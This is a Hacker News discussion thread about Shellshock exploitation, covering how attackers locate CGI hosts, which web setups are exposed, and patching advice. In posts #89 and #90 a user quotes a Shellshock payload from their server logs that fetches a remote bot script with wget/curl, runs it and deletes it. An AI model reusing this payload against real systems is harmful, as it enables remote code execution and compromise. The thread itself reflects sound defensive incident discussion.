Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Inside Shellshock: How hackers are using it to exploit systems

blog.cloudflare.com

Post reply on HN
Print view View original

81–90 of 94 posts

Re: Inside Shellshock: How hackers are using it to exploit systems

#81

Post by hyyypr »

Someone1234 wrote: post #79
pja wrote: post #52

I'm seeing exploit attempts against some very rarely used cgi programs that I happen to have installed: Clearly there are people out there who have trawled the entirety of the open source archives looking for potentially exploitable cgi scripts and are directly targeting hosts where those scripts can be found. Presumably they're using Google or other search engines to obtain lists of potentially exploitable hosts for…

They're likely Googling stuff like: "darcsweb filetype:cgi" Or just "filetype:cgi" Interestingly Bing is either blocking "filetype:cgi" or their filetype moniker just doesn't work very well (I am actually leaning more towards the latter after some additional testing). Ditto with DDG, their filetype: filter just doesn't work at all.

Shodan[1] does just this. I guess script kiddies all around the world are abusing it.

[1]:http://shodanhq.com/search?q=cgi

Re: Inside Shellshock: How hackers are using it to exploit systems

#82

Post by xorcist »

fragmede wrote: post #72
morgante wrote: post #56

Earlier quoted context omitted.

Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input. > which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to…

> I've never come across a popen/shell call in a web app which looked sane or secure to me. No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installa…

There may be millions of Wordpress installations, but how many run as CGI-scripts?

My guess is very close to zero. Wordpress is really slow as it is. It's also likely to be more complicated to set up compared to mod_php or FastCGI.

Re: Inside Shellshock: How hackers are using it to exploit systems

#83

Post by xorcist »

lutusp wrote: post #65
morgante wrote: post #54

Earlier quoted context omitted.

> You asked a question, I provided the answer and example code to the actual question that you asked. No, you must emphatically did not . This is the question I asked: > Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock? Put more clearly, I was asking for an example of a modern, well-developed website which would be vulnerable to Shellshock. (I…

> This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that. What? Evidence of your opinion? I live in reality, one not informed by opinions, and there are plenty of sites that were designed to be secure, but that didn't anticipate something like Shellshock -- many existing PHP pages, as just one example. Setting environment variables is…

> many existing PHP pages, as just one example.

Not really. Deploying PHP with CGI is very uncommon, as we've seen from the fallout from CVE-2012-1823 which was a much worse bug. Anything vulnerable to that has the potential of being vulnerable again, but that wasn't what you would think of as web applications: some embedded web interfaces, some really bad control panels, that sort of thing.

Re: Inside Shellshock: How hackers are using it to exploit systems

#84

Post by sophacles »

pja wrote: post #52

I'm seeing exploit attempts against some very rarely used cgi programs that I happen to have installed: Clearly there are people out there who have trawled the entirety of the open source archives looking for potentially exploitable cgi scripts and are directly targeting hosts where those scripts can be found. Presumably they're using Google or other search engines to obtain lists of potentially exploitable hosts for…

I'm not sure they are even googling for exploitable hosts. It's much easier to just enumerate IP space from a few hosts scattered around.

Re: Inside Shellshock: How hackers are using it to exploit systems

#85

Post by xorcist »

fragmede wrote: post #72
morgante wrote: post #56

Earlier quoted context omitted.

Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input. > which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to…

> I've never come across a popen/shell call in a web app which looked sane or secure to me. No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installa…

There may be millions of Wordpress installations, but how many run as CGI-scripts?

My guess is very close to zero. Wordpress is really slow as it is. It's also likely to be more complicated to set up compared to mod_php or FastCGI.

No, your bugs likely won't be in the direct execution of your web apps, but in their auxilliary functions such as processing received e-mail, handling print queues etc.

Re: Inside Shellshock: How hackers are using it to exploit systems

#86

Post by xorcist »

nitrogen wrote: post #44
barosl wrote: post #30

Earlier quoted context omitted.

Even if you use popen() or system() in your application, Debian/Ubuntu machines are not affected. These distributions don't use bash for /bin/sh. `dash`(Debian ash) is used instead. Good work, Debian!

Debian has lots of Bash scripts in /usr/bin. Make sure you aren't indirectly using any of them. Or just patch Bash.

Yeah, that's an important point to stress:

Whether you have been vulnerable to this bug or not is important -- for the decision to wipe and reinstall.

It's not important for the decision to patch, which should be done everywhere possible.

Re: Inside Shellshock: How hackers are using it to exploit systems

#89

Post by ralphc »

bjnord wrote: post #6

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

"() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" I have several lines like this in my logs. So I guess that someone tried (or succeeded) to download a script to my machine, run it & delete it? I think this could have happened before I patched & rebooted. How worried should I be?

Re: Inside Shellshock: How hackers are using it to exploit systems

#90

Post by ralphc »

ralphc wrote: post #89
bjnord wrote: post #6

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

"() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" I have several lines like this in my logs. So I guess that someone tried (or succeeded) to download a script to my machine, run it & delete it? I think this could have happened before I patched & rebooted. How worried should I be?

Oh, I tried a maunal curl, "Could not resolve host: stablehost.us"
Post reply on HN